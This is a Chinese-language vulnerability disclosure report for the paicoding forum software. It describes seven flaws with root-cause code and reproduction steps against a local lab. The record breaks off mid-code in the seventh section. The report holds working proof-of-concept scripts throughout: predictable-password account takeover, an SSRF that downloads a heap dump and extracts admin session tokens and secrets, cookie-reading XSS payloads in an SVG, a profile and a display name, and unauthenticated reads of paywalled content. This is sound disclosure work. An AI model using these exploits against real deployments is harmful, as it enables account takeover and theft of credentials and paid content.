paicoding 漏洞报告
软件名称:技术派(paicoding)
开发者或厂商:itwanger
代码仓库:https://github.com/itwanger/paicoding
1. loginByZsxq 登录口令可预测
| 简要描述: | 攻击者读取他人个人主页中泄露的星球编号,据此算出该会员账号的用户名与口令,接管受害者账号。 |
|---|---|
| 影响版本: | 1.0.3 |
| 漏洞引入: | paicoding commit b8206b97 |
| 前置条件: | 目标站点存在通过知识星球登录注册的会员账号。 |
漏洞成因
loginByZsxq 在会员首次通过知识星球登录时自动注册本地账号,用户名与口令都由星球编号拼接而成,不含随机成分,相关代码如下:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/user/service/user/LoginServiceImpl.java:244-250 commit 6b85f5c327
UserPwdLoginReq loginReq = new UserPwdLoginReq()
.setStarNumber(req.getStarNumber())
.setUsername("zsxq_" + req.getStarNumber())
.setPassword("zsxqp_" + req.getStarNumber())
星球编号入库前由 StarNumberUtil.formatStarNumber 统一补零成 5 位,用户名与口令取的都是补零后的值,所以公式里的编号是 01234 这样的形式。相关代码如下:
// paicoding-core/src/main/java/com/github/paicoding/forum/core/util/StarNumberUtil.java:27-29 commit 6b85f5c327
int number = Integer.parseInt(starNumber);
// 格式化为5位数字符串
return String.format("%05d", number);
攻击者可以从个人主页获得该用户的知识星球编号,因为个人主页的渲染包含了一份编辑表单,星球编号以 value 形式写入输入框,这段模板随 /user/{userId} 页面下发,不区分访问者是否为本人:
<!-- paicoding-ui/src/main/resources/templates/views/user/info/edit.html:81-90 commit 6b85f5c327 -->
<span class="form-label">星球编号</span>
<input
th:if="${vo.userHome != null && vo.userHome.starNumber != null && vo.userHome.starNumber != ''}"
id="starNumber"
type="text"
class="form-control"
th:value="${vo.userHome != null ? vo.userHome.starNumber: ''}"
placeholder="去绑定"
disabled
/>
于是访问该主页的人都能读到星球编号。由于用户名与口令是编号的固定函数,读到编号即可算出二者,而 /login/username 校验通过后即签发会话。
复现环境搭建
官方仓库没有提供 compose 文件,因此从源码构建后用 compose 启动。构建需要 JDK 与 Maven,运行环境为 Java 8,容器内保持官方默认的 8080 端口,宿主机端口换成 18070。构建与启动命令如下:
git clone https://github.com/itwanger/paicoding.git
cd paicoding
mvn clean install -Dmaven.test.skip=true -Pdev
mkdir -p run
cp -r paicoding-web/target/classes run/classes
mvn -q -pl paicoding-web dependency:copy-dependencies -DoutputDirectory=$PWD/run/lib
cat > run/Dockerfile <<'EOF'
FROM eclipse-temurin:8-jre
WORKDIR /app
COPY classes /app/classes
COPY lib /app/lib
EXPOSE 8080
ENTRYPOINT ["java","-Xms256m","-Xmx1024m","-cp","/app/classes:/app/lib/*","com.github.paicoding.forum.web.QuickForumApplication"]
EOF
cat > docker-compose.yml <<'EOF'
services:
mysql:
image: mysql:8.0
environment:
MYSQL_ROOT_PASSWORD: paicoding
command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --default-authentication-plugin=mysql_native_password
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-ppaicoding"]
interval: 5s
timeout: 5s
retries: 20
volumes:
- mysql-data:/var/lib/mysql
redis:
image: redis:7-alpine
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 5s
timeout: 3s
retries: 20
app:
build: ./run
depends_on:
mysql:
condition: service_healthy
redis:
condition: service_healthy
environment:
PAICODING_DB_HOST: mysql
PAICODING_DB_PORT: 3306
PAICODING_DB_USERNAME: root
PAICODING_DB_PASSWORD: paicoding
PAICODING_REDIS_HOST: redis
PAICODING_REDIS_PORT: 6379
PAICODING_REDIS_PASSWORD: ""
PAICODING_ES_OPEN: "false"
JAVA_TOOL_OPTIONS: "-Dfile.encoding=UTF-8 -Duser.timezone=Asia/Shanghai"
ports:
- "18070:8080"
volumes:
- app-storage:/tmp/storage
volumes:
mysql-data:
app-storage:
EOF
docker compose up -d
站点启动后,用站点自身的星球登录回调创建一位会员账号,模拟该会员首次通过知识星球登录。脚本如下:
import hashlib, time, httpx
BASE = 'http://127.0.0.1:18070'
now = int(time.time())
p = {'app_id': '666', 'group_number': '666', 'user_id': '88001', 'user_name': 'Alice', 'user_icon': '',
'user_number': '01234', 'user_role': '', 'extra': 'login', 'join_time': str(now - 86400 * 30),
'expire_time': str(now + 86400 * 365), 'timestamp': str(now)}
kv = '&'.join(f'{k}={v}' for k, v in sorted(p.items()) if v != '')
p['signature'] = hashlib.sha1((kv + '&secret=666').encode()).hexdigest()
c = httpx.Client(base_url=BASE, timeout=20)
c.get('/login/zsxq/callback', params=p, follow_redirects=False)
me = c.get('/api/admin/user/info').json()['result']
print(me)
输出如下:
{'id': '6', 'createTime': '2026-11-11T18:23:24.000+00:00', 'updateTime': '2026-11-11T18:23:24.000+00:00', 'userId': '6', 'userName': 'Alice', 'role': 'NORMAL', 'photo': 'https://cdn.tobebetterjavaer.com/paicoding/avatar/0091.png', 'profile': '', 'position': '', 'company': '', 'extend': '', 'deleted': 0, 'region': '', 'starStatus': 'FORMAL', 'starNumber': '01234', 'expireTime': '2027-11-12T02:23:24.000+00:00', 'email': '', 'payCode': ''}
以下每节复现前都执行 docker compose down -v 与 docker compose up -d,使环境回到初始状态。
复现过程
攻击者不登录,打开受害者的个人主页,页面 HTML 中带有 id="starNumber" 的输入框,其 value 即星球编号:
curl -sS http://127.0.0.1:18070/user/6 | grep -oE 'value="[0-9]{5}"'
输出如下:
value="01234"
拿到编号后按公式算出用户名与口令,登录:
curl -sS -i -X POST http://127.0.0.1:18070/login/username \
-d 'username=zsxq_01234&password=zsxqp_01234'
响应如下:
HTTP/1.1 200
Set-Cookie: f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgyMjEzLCJzIjoiYzBhODIwMDQuMTc5NDQ1MDIxMzE4MC4wMDAwMTEwMDYiLCJ1Ijo2fQ.U-dKtGDve8SVJ943xevwjh3vemvZwsNbj9friDGVs3E; Max-Age=432000; Expires=Tue, 17-Nov-2026 02:23:33 GMT; Domain=127.0.0.1; Path=/
{"status":{"code":0,"msg":"OK"},"result":true}
用该会话读取用户资料,结果属于受害者 Alice,会员状态为 FORMAL:
curl -sS -b 'f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgyMjEzLCJzIjoiYzBhODIwMDQuMTc5NDQ1MDIxMzE4MC4wMDAwMTEwMDYiLCJ1Ijo2fQ.U-dKtGDve8SVJ943xevwjh3vemvZwsNbj9friDGVs3E' \
http://127.0.0.1:18070/api/admin/user/info
响应如下:
{"status":{"code":0,"msg":"OK"},"result":{"id":"6","createTime":"2026-11-11T18:23:24.000+00:00","updateTime":"2026-11-11T18:23:24.000+00:00","userId":"6","userName":"Alice","role":"NORMAL","photo":"https://cdn.tobebetterjavaer.com/paicoding/avatar/0091.png","profile":"","position":"","company":"","extend":"","deleted":0,"region":"","starStatus":"FORMAL","starNumber":"01234","expireTime":"2027-11-12T02:23:24.000+00:00","email":"","payCode":""}}
浏览器中可以看到该会话已经进入 Alice 的账号,页面显示星球编号与会员到期时间:

2. 图片转存 SSRF 可读取 Actuator 堆转储
| 简要描述: | 普通用户借助图片转存接口访问仅监听本机的 Actuator,把 heapdump 落盘为静态文件,随后下载该文件,从中取出数据库口令、签名密钥与活跃会话等。 |
|---|---|
| 影响版本: | 1.0.3 |
| 漏洞引入: | paicoding commit 54d01f9e |
| 前置条件: | 攻击者有普通权限账号。 |
漏洞成因
/image/save 只要求登录,参数 img 由调用方指定,服务端不做地址校验,相关代码如下:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/image/service/ImageServiceImpl.java:90-113 commit 6b85f5c327
public String saveImg(String img) {
if (imageUploader.uploadIgnore(img)) {
return img;
}
try {
InputStream stream = FileReadUtil.getStreamByFileName(img);
URI uri = URI.create(img);
String path = uri.getPath();
int index = path.lastIndexOf(".");
String fileType = null;
if (index > 0) {
fileType = path.substring(index + 1);
}
String digest = calculateSHA256(stream);
String ans = imgReplaceCache.getIfPresent(digest);
if (StringUtils.isBlank(ans)) {
ans = imageUploader.upload(stream, fileType);
imgReplaceCache.put(digest, ans);
}
...
这里的文件扩展名取自 URL 的路径后缀,内容则来自远端响应。随后 LocalStorageWrapper 把流转写到本地目录,并以该后缀作为文件类型:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/image/oss/impl/LocalStorageWrapper.java:52-59 commit 6b85f5c327
String path = imageProperties.getAbsTmpPath() + imageProperties.getWebImgPath();
String fileName = genTmpFileName();
InputStream finalInput = input;
String finalFileType = fileType;
FileWriteUtil.FileInfo file = stopWatchUtil.record("存储", () -> FileWriteUtil.saveFileByStream(finalInput, path, fileName, finalFileType));
return imageProperties.buildImgUrl(imageProperties.getWebImgPath() + file.getFilename() + "." + file.getFileType());
Actuator 的管理端口只绑在本机,但把全部端点都暴露出来,相关配置如下:
# paicoding-web/src/main/resources/application.yml:143-150 commit 6b85f5c327
management:
server:
address: 127.0.0.1 # 设置为本地ip,防止远程访问该连接进行关闭服务
port: 8999
endpoints:
web:
exposure:
include: "*"
管理端口绑定本机,转存接口让这种部署方式失去防护作用。LocalStorageWrapper.upload 在 fileType 为空时会把整条流读入字节数组以判断魔数,几百 MB 的堆转储会因此耗尽内存,所以请求路径要带一个后缀。把路径写成 heapdump;x=.txt 时,path.lastIndexOf(".") 取到的是 ;x=.txt 中的后缀,于是绕过该分支直接落盘,堆内存导出文件被保存为 /forum/image/xxxx.txt。
复现环境搭建
同第 1 节。
复现过程
先让管理员正常登录一次,使 JVM 堆中存在活跃会话,随后攻击者注册普通账号并请求转存接口。脚本如下:
import base64, json, re, httpx
BASE = 'http://127.0.0.1:18070'
MGMT = '127.0.0.1:8999'
admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
print('[victim] administrator logged in, f-session=%s' % admin.cookies.get('f-session'))
attacker = httpx.Client(base_url=BASE, timeout=None)
attacker.post('/login/register', data={'username': 'dumpbot', 'password': 'Dump@12345',
'starNumber': '01000', 'displayName': 'dumpbot'})
attacker.post('/login/username', data={'username': 'dumpbot', 'password': 'Dump@12345'})
print('[attacker] ordinary account f-session=%s' % attacker.cookies.get('f-session'))
r = attacker.get('/image/save', params={'img': 'http://%s/actuator/heapdump;x=.txt' % MGMT})
print('[attacker] GET /image/save?img=http://%s/actuator/heapdump;x=.txt' % MGMT)
print(' -> %s %s' % (r.status_code, r.text))
heap_path = r.json()['result']['imagePath']
anon = httpx.Client(base_url=BASE, timeout=20)
heap = anon.get(heap_path).content
print('[attacker] anonymous GET %s -> %d bytes' % (heap_path, len(heap)))
print('[attacker] magic: %r' % heap[:18])
tokens = set()
for m in re.finditer(rb'f-session=([A-Za-z0-9_.\-]{150,260})', heap):
cand = m.group(1).decode()
if cand.count('.') == 2:
tokens.add(cand)
print('[attacker] f-session values in the heap: %d' % len(tokens))
for tok in sorted(tokens):
claims = json.loads(base64.urlsafe_b64decode(tok.split('.')[1] + '=' * (-len(tok.split('.')[1]) % 4)))
info = httpx.get(BASE + '/api/admin/user/info', cookies={'f-session': tok}, timeout=10)
if info.json().get('result'):
print('[attacker] token u=%s -> %s' % (claims['u'], info.text))
print('[attacker] f-session=%s' % tok)
for needle in (b'hello_world', b'PAICODING_DB_PASSWORD'):
print('[attacker] heap contains %r: %s' % (needle, needle in heap))
输出如下:
[victim] administrator logged in, f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDE5LCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAxOTcyOS4wMDAwMTEwMDIiLCJ1IjoxfQ.tL_3sCtpU3FyXh-ygKpJB7FrHNhvGUVbhOOf86tJs2c
[attacker] ordinary account f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDIwLCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAyMDI0OC4wMDAwMTEwMDYiLCJ1Ijo2fQ.yKyD5ocatBX8GoxwzDTo9WXeQDV7EDQPgx7h2I7m6HM
[attacker] GET /image/save?img=http://127.0.0.1:8999/actuator/heapdump;x=.txt
-> 200 {"status":{"code":0,"msg":"OK"},"result":{"imagePath":"/forum/image/20261112105344552_77.txt"}}
[attacker] anonymous GET /forum/image/20261112105344552_77.txt -> 201717245 bytes
[attacker] magic: b'JAVA PROFILE 1.0.2'
[attacker] f-session values in the heap: 3
[attacker] token u=1 -> {"status":{"code":0,"msg":"OK"},"result":{"id":"1","createTime":"2026-11-11T18:53:31.000+00:00","updateTime":"2026-11-11T18:53:31.000+00:00","userId":"1","userName":"管理员","role":"ADMIN","photo":"https://imgs.hhui.top/forum/avatar/0066.png","profile":"码农","position":"java","company":"xm","extend":"","deleted":0,"region":"","starStatus":"IGNORE","starNumber":"","expireTime":null,"email":"","payCode":""}}
[attacker] f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDE5LCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAxOTcyOS4wMDAwMTEwMDIiLCJ1IjoxfQ.tL_3sCtpU3FyXh-ygKpJB7FrHNhvGUVbhOOf86tJs2c
[attacker] token u=6 -> {"status":{"code":0,"msg":"OK"},"result":{"id":"6","createTime":"2026-11-11T18:53:40.000+00:00","updateTime":"2026-11-11T18:53:40.000+00:00","userId":"6","userName":"dumpbot","role":"NORMAL","photo":"https://cdn.tobebetterjavaer.com/paicoding/avatar/0058.png","profile":"","position":"","company":"","extend":"","deleted":0,"region":"","starStatus":"TRYING","starNumber":"01000","expireTime":null,"email":"","payCode":""}}
[attacker] f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDIwLCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAyMDI0OC4wMDAwMTEwMDYiLCJ1Ijo2fQ.yKyD5ocatBX8GoxwzDTo9WXeQDV7EDQPgx7h2I7m6HM
[attacker] heap contains b'hello_world': True
[attacker] heap contains b'PAICODING_DB_PASSWORD': True
hello_world 是 paicoding.jwt.secret 的明文取值,PAICODING_DB_PASSWORD 是数据库口令对应的环境变量名。除口令与密钥之外,堆中还留有其他用户登录时写入的 f-session,上一步取出的 u=1 会话即可访问管理接口。
3. 图片上传 XSS
| 简要描述: | 攻击者上传带脚本的 SVG,受害者打开该文件时脚本在站点源下执行,进而接管受害者账号。 |
|---|---|
| 影响版本: | 1.0.0 ~ 1.0.3 |
| 漏洞引入: | paicoding commit 08da669b |
| 前置条件: | 攻击者有普通权限账号。 |
漏洞成因
validateStaticImg 只按请求声明的 Content-Type 判断类型,svg 被显式放行,相关代码如下:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/image/service/ImageServiceImpl.java:174-180 commit 6b85f5c327
private String validateStaticImg(String mime) {
if ("svg".equalsIgnoreCase(mime)) {
// fixme 上传文件保存到服务器本地时,做好安全保护, 避免上传了要给攻击性的脚本
return "svg";
}
文件内容不做校验,带脚本的 SVG 被原样存成 .svg。本地存储把文件放进静态目录,spring.web.resources.static-locations 对外提供该目录,.svg 以 image/svg+xml 返回。会话 Cookie f-session 没有 HttpOnly 标记,脚本可以读取。
复现环境搭建
同第 1 节。
复现过程
攻击者注册普通账号,上传一个带脚本的 SVG:
import httpx
BASE = 'http://127.0.0.1:18070'
SVG = '''<svg xmlns="http://www.w3.org/2000/svg" width="1400" height="120">
<rect width="100%" height="100%" fill="#ffffff"/>
<text x="12" y="26" font-family="monospace" font-size="16" fill="#000000">Uploaded SVG file, document.cookie:</text>
<script type="text/javascript">
var parts = document.cookie.match(/[\\s\\S]{1,80}/g) || [];
parts.forEach(function (s, i) {
var t = document.createElementNS('http://www.w3.org/2000/svg', 'text');
t.setAttribute('x', 12); t.setAttribute('y', 50 + i * 20);
t.setAttribute('font-family', 'monospace'); t.setAttribute('font-size', 13);
t.setAttribute('fill', '#c00000'); t.textContent = s;
document.documentElement.appendChild(t);
});
</svg>'''
c = httpx.Client(base_url=BASE, timeout=30)
c.post('/login/register', data={'username': 'uploadbot', 'password': 'Up@12345',
'starNumber': '01200', 'displayName': 'uploadbot'})
c.post('/login/username', data={'username': 'uploadbot', 'password': 'Up@12345'})
r = c.post('/image/upload', files={'image': ('a.svg', SVG.encode(), 'svg')})
print(r.text)
print(BASE + r.json()['result']['imagePath'])
输出如下:
{"status":{"code":0,"msg":"OK"},"result":{"imagePath":"/forum/image/20261112103353393_10.svg"}}
http://127.0.0.1:18070/forum/image/20261112103353393_10.svg
受害者打开该链接,脚本读出会话:

4. 个人主页 JSON-LD XSS
| 简要描述: | 攻击者把自己的简介写成闭合 script 标签的形式,访问其个人主页的用户都会执行攻击者的脚本,进而接管受害者账号。 |
|---|---|
| 影响版本: | 1.0.0 ~ 1.0.3 |
| 漏洞引入: | paicoding commit 5cc55070 |
| 前置条件: | 攻击者有普通权限账号。 |
漏洞成因
页面用 th:utext 输出 JSON-LD,相关代码如下:
<!-- paicoding-ui/src/main/resources/templates/components/layout/header.html:59 commit 6b85f5c327 -->
<script type="application/ld+json" th:utext="${global.jsonLd}"></script>
JSON-LD 由 Hutool 序列化后原样拼入页面,不做 < 转义:
// paicoding-web/src/main/java/com/github/paicoding/forum/web/global/GlobalInitService.java:76-84 commit 6b85f5c327
vo.setJsonLd(JSONUtil.toJsonStr(seo.getJsonLd()));
用户主页把个人简介放进该结构,相关代码如下:
// paicoding-web/src/main/java/com/github/paicoding/forum/web/global/SeoInjectService.java:386-388 commit 6b85f5c327
jsonLd.put("headline", title);
jsonLd.put("description", user.getUserHome().getProfile());
个人简介由用户自行编辑,saveUserInfo 原样入库,因此简介里的 </script> 会提前闭合 JSON-LD 的 script 元素,后续内容作为脚本执行。
复现环境搭建
同第 1 节。
复现过程
攻击者注册账号后修改简介,脚本如下:
import httpx
BASE = 'http://127.0.0.1:18070'
PAYLOAD = ("</script><script>document.addEventListener('DOMContentLoaded',function(){"
"document.body.innerHTML='<pre style=\"font:12px monospace;white-space:pre;width:1360px\">'+document.cookie+'</pre>'})"
"</script>")
c = httpx.Client(base_url=BASE, timeout=20)
c.post('/login/register', data={'username': 'jsonldbot2', 'password': 'Json@12345',
'starNumber': '01011', 'displayName': 'jsonldbot2'})
c.post('/login/username', data={'username': 'jsonldbot2', 'password': 'Json@12345'})
me = c.get('/api/admin/user/info').json()['result']
print('[attacker] userId=%s' % me['userId'])
print('[attacker] saveUserInfo ->', c.post('/user/api/saveUserInfo',
json={'userId': me['userId'], 'userName': 'jsonldbot2', 'profile': PAYLOAD}).text)
print('[victim] URL: %s/user/%s' % (BASE, me['userId']))
输出如下:
[attacker] userId=6
[attacker] saveUserInfo -> {"status":{"code":0,"msg":"OK"},"result":true}
[victim] URL: http://127.0.0.1:18070/user/6
匿名读取该主页,JSON-LD 片段如下:
application/ld+json">{"author":{"@type":"Person","name":"jsonldbot2"},"description":"</script><script>document.addEventListener('DOMContentLoaded',function(){document.body.innerHTML='<pre style=\"font:12px monospace;white-space:pre;width:1360px\">'+document.cookie+'</pre>'})</script>","@context":"https://schema.org","headline":"技术派 | jsonldbot2 的主页","url":"https://paicoding.com/user/6"}</script>
受害者打开该主页,脚本读出会话:

5. 支付通知模板 XSS
| 简要描述: | 攻击者把脚本放进显示名,给受害作者的付费文章发起一次“支付中”,攻击者的显示名随后出现在系统通知中并被当作 HTML 执行,进而接管受害者账号。 |
|---|---|
| 影响版本: | 1.0.3 |
| 漏洞引入: | paicoding commit 766c48b3 |
| 前置条件: | 受害作者有一篇使用个人收款码的付费文章。 |
漏洞成因
支付中的通知把付款方显示名拼进通知正文,相关代码如下:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/notify/service/impl/NotifyMsgListener.java:274-287 commit 6b85f5c327
if (PayStatusEnum.PAYING == payStatus) {
BaseUserInfoDTO payUser = userService.queryBasicUserInfo(record.getPayUserId());
msg = new NotifyMsgDO().setRelatedId(record.getArticleId())
...
.setMsg(String.format("您的文章 <a href=\"/article/detail/%d\">%s</a> 收到一份来自 <a href=\"/user/home?userId=%d\">%s</a> 的 [%s] 打赏,点击 <a href=\"/article/payConfirm?payId=%d\">去确认~</a>",
record.getArticleId(), article.getTitle(),
payUser.getUserId(), payUser.getUserName(),
...
其中的 payUser.getUserName() 是注册时提交的显示名,不做转义。通知模板用 th:utext 原样输出正文,相关代码如下:
<!-- paicoding-ui/src/main/resources/templates/components/notice/notify-system-item.html:18 commit 6b85f5c327 -->
<div class="comment" th:utext="${msg.msg}">m</div>
显示名上限 50 字符,足以写成 <img src=x onerror=this.outerHTML=document.cookie> 这样的短载荷。发起“支付中”只需要登录后调用 paying,无需真实付款。
复现环境搭建
同第 1 节。受害者账号上需要一篇 payWay 为 email 的付费文章,脚本会自行创建。
复现过程
脚本如下:
import httpx, time
BASE = 'http://127.0.0.1:18070'
admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
print('[victim] admin login, f-session=%s' % admin.cookies.get('f-session'))
admin.post('/user/api/saveUserInfo', json={'userId': 1, 'userName': '管理员',
'payCode': {'email': 'admin@paicoding.example'}})
r = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'paid-article-demo',
'urlSlug': 'paidarticle%d' % int(time.time()), 'content': '<p>paid body</p>', 'categoryId': 1,
'readType': 4, 'payWay': 'email', 'payAmount': 1,
'actionType': 'post', 'tagIds': [1], 'summary': 'paid'})
aid = r.json()['result']['articleId']
print('[victim] paid article id=%s (readType=4, payWay=email)' % aid)
PAYLOAD = '<img src=x onerror=this.outerHTML=document.cookie>'
att = httpx.Client(base_url=BASE, timeout=20)
att.post('/login/register', data={'username': 'notifybot3', 'password': 'Not@12345',
'starNumber': '01031', 'displayName': PAYLOAD})
att.post('/login/username', data={'username': 'notifybot3', 'password': 'Not@12345'})
print('[attacker] display name: %s' % PAYLOAD)
pay = att.get('/article/api/pay/toPay', params={'articleId': aid}).json()['result']
print('[attacker] toPay -> payId=%s payWay=%s payStatus=%s' % (pay['payId'], pay['payWay'], pay['payStatus']))
r = att.get('/article/api/pay/paying', params={'payId': pay['payId'], 'succeed': 'true'})
print('[attacker] paying -> %s %s' % (r.status_code, r.text))
html = admin.get('/notice/api/items', params={'type': 'system', 'page': 1, 'pageSize': 10}).json()['result']['html']
print('[victim] system notice contains payload: %s' % (PAYLOAD in html))
i = html.find('收到一份来自')
print('[victim] notice text: %s' % html[i - 30:i + 300].replace('\n', ' '))
输出如下:
[victim] admin login, f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgzMjU2LCJzIjoiYzBhOGEwMDQuMTc5NDQ1MTI1NjUwMy4wMDAwMTEwMDIiLCJ1IjoxfQ.x-RFwqEFyD3IFucHrCrYg9fxaffpYxbCgcr-VvAyfys
[victim] paid article id=2631610125049857 (readType=4, payWay=email)
[attacker] display name: <img src=x onerror=this.outerHTML=document.cookie>
[attacker] toPay -> payId=2631610125049858 payWay=email payStatus=0
[attacker] paying -> 200 {"status":{"code":0,"msg":"OK"},"result":true}
[victim] system notice contains payload: True
[victim] notice text: 049857">paid-article-demo</a> 收到一份来自 <a href="/user/home?userId=6"><img src=x onerror=this.outerHTML=document.cookie></a> 的 [个人收款码] 打赏,点击 <a href="/article/payConfirm?payId=2631610125049858">去确认~</a></div>
作者打开系统消息页面,脚本执行并显示会话:

6. 未授权读取付费文章和草稿
| 简要描述: | 未登录用户调用文章详情接口即可读到付费文章、登录可见文章与知识星球会员文章的完整正文,未发布的草稿同样可读。 |
|---|---|
| 影响版本: | 1.0.3 |
| 漏洞引入: | paicoding commit 01ad91e6 |
| 前置条件: | 无。 |
漏洞成因
详情接口把完整正文转成 HTML 后返回,没有调用阅读权限判断,相关代码如下:
// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/rest/ArticleRestController.java:87-94 commit 6b85f5c327
@GetMapping("/data/detail/{articleId}")
public ResVo<ArticleDetailVo> detail(@PathVariable(name = "articleId") Long articleId) throws IOException {
ArticleDetailVo vo = new ArticleDetailVo();
// 文章相关信息
ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId());
// 返回给前端页面时,转换为html格式
articleDTO.setContent(MarkdownConverter.markdownToHtml(articleDTO.getContent()));
vo.setArticle(articleDTO);
页面渲染路径才做截断,相关代码如下:
// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/view/ArticleViewController.java:247-249 commit 6b85f5c327
ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId());
// 根据文章类型,来自动处理文章内容
String content = articleReadViewServiceExtend.formatArticleReadType(articleDTO);
formatArticleReadType 会按 readType 截断正文,但详情接口没有经过它。另外 ArticleDao.queryArticleDetail 只对审核中的文章做限制,草稿状态不在限制范围内,相关代码如下:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/article/repository/dao/ArticleDao.java:71-85 commit 6b85f5c327
ArticleDO article = baseMapper.selectById(articleId);
if (article == null || Objects.equals(article.getDeleted(), YesOrNoEnum.YES.getCode())) {
return null;
}
// 查询文章正文
ArticleDTO dto = ArticleConverter.toDto(article);
if (showReviewContent(article)) {
ArticleDetailDO detail = findLatestDetail(articleId);
dto.setContent(detail.getContent());
} else {
dto.setContent("### 文章审核中,请稍后再看");
}
因此草稿、付费文章、会员文章的正文都从这个接口原样返回。文章短地址入口 ArticleSlugViewController 按 id 渲染详情,草稿因此还能通过短地址页面读到。
复现环境搭建
同第 1 节。
复现过程
先用管理员创建一篇付费文章与一篇草稿,再用匿名会话读取。脚本如下:
import httpx, time
BASE = 'http://127.0.0.1:18070'
SECRET = 'PAYWALL_SECRET_9Z'
DRAFT = 'DRAFT_SECRET_7Q'
admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
slug1 = 'paidleak%d' % int(time.time())
paid = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'paid-leak-demo', 'urlSlug': slug1,
'content': '<p>' + 'A' * 600 + SECRET + '</p>', 'categoryId': 1, 'readType': 4,
'payWay': 'email', 'payAmount': 9, 'actionType': 'post', 'tagIds': [1],
'summary': 'paid'}).json()['result']['articleId']
slug2 = 'draftleak%d' % int(time.time())
draft = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'draft-leak-demo', 'urlSlug': slug2,
'content': '<p>' + 'B' * 600 + DRAFT + '</p>', 'categoryId': 1, 'readType': 0,
'actionType': 'save', 'tagIds': [1], 'summary': 'draft'}).json()['result']['articleId']
print('[victim] paid article id=%s slug=%s' % (paid, slug1))
print('[victim] draft article id=%s slug=%s' % (draft, slug2))
anon = httpx.Client(base_url=BASE, timeout=20)
page = anon.get('/' + slug1).text
print('[anonymous] GET /%s page contains secret: %s' % (slug1, SECRET in page))
body = anon.get('/article/api/data/detail/%s' % paid).json()['result']['article']['content']
print('[anonymous] REST detail tail: %r' % body[-80:])
print('[anonymous] REST detail contains secret: %s' % (SECRET in body))
page = anon.get('/' + slug2).text
print('[anonymous] GET /%s page contains draft secret: %s' % (slug2, DRAFT in page))
body = anon.get('/article/api/data/detail/%s' % draft).json()['result']['article']['content']
print('[anonymous] REST detail contains draft secret: %s' % (DRAFT in body))
输出如下:
[victim] paid article id=2631610710155265 slug=paidleak1794451813
[victim] draft article id=2631610710155266 slug=draftleak1794451814
[anonymous] GET /paidleak1794451813 page contains secret: False
[anonymous] REST detail tail: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAYWALL_SECRET_9Z</p>\n'
[anonymous] REST detail contains secret: True
[anonymous] GET /draftleak1794451814 page contains draft secret: True
[anonymous] REST detail contains draft secret: True
而正常用户无法读出付费文章的 PAYWALL_SECRET_9Z 部分:

7. 收款码确认值可枚举
| 简要描述: | 攻击者对自己的支付记录枚举确认值,即可把记录标记为支付成功,无需付款就能解锁付费文章。 |
|---|---|
| 影响版本: | 1.0.3 |
| 漏洞引入: | paicoding commit e491dfdf |
| 前置条件: | 攻击者有普通权限账号,目标文章使用个人收款码。 |
漏洞成因
确认值由“固定前缀 + 全局递增计数 + 支付记录 id”拼成,相关代码如下:
// paicoding-core/src/main/java/com/github/paicoding/forum/core/util/id/IdUtil.java:54-61 commit 6b85f5c327
public static String genPayCode(ThirdPayWayEnum payWay, Long id) {
long now = System.currentTimeMillis();
if (DateUtil.skipDay(lastTime, now)) {
lastTime = now;
INCR.set((int) (Math.random() * 500));
}
return payWay.getPrefix() + String.format("%06d", INCR.addAndGet(1)) + "-" + id;
}
INCR 是进程内的计数器,每天从一个 0 到 499 的随机数开始,因此计数部分只有 2000 左右的取值。支付记录 id 在 toPay 的响应中返回给付款方。
回调接口不要求登录,把请求参数交给支付服务,相关代码如下:
// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/rest/ArticlePayRestController.java:79-90 commit 6b85f5c327
@RequestMapping(path = "callback")
public ResponseEntity<ResVo<Boolean>> callback(HttpServletRequest request) {
return (ResponseEntity<ResVo<Boolean>>) payServiceFactory.getPayService(ThirdPayWayEnum.EMAIL)
.payCallback(request, new Function<PayCallbackBo, Boolean>() {
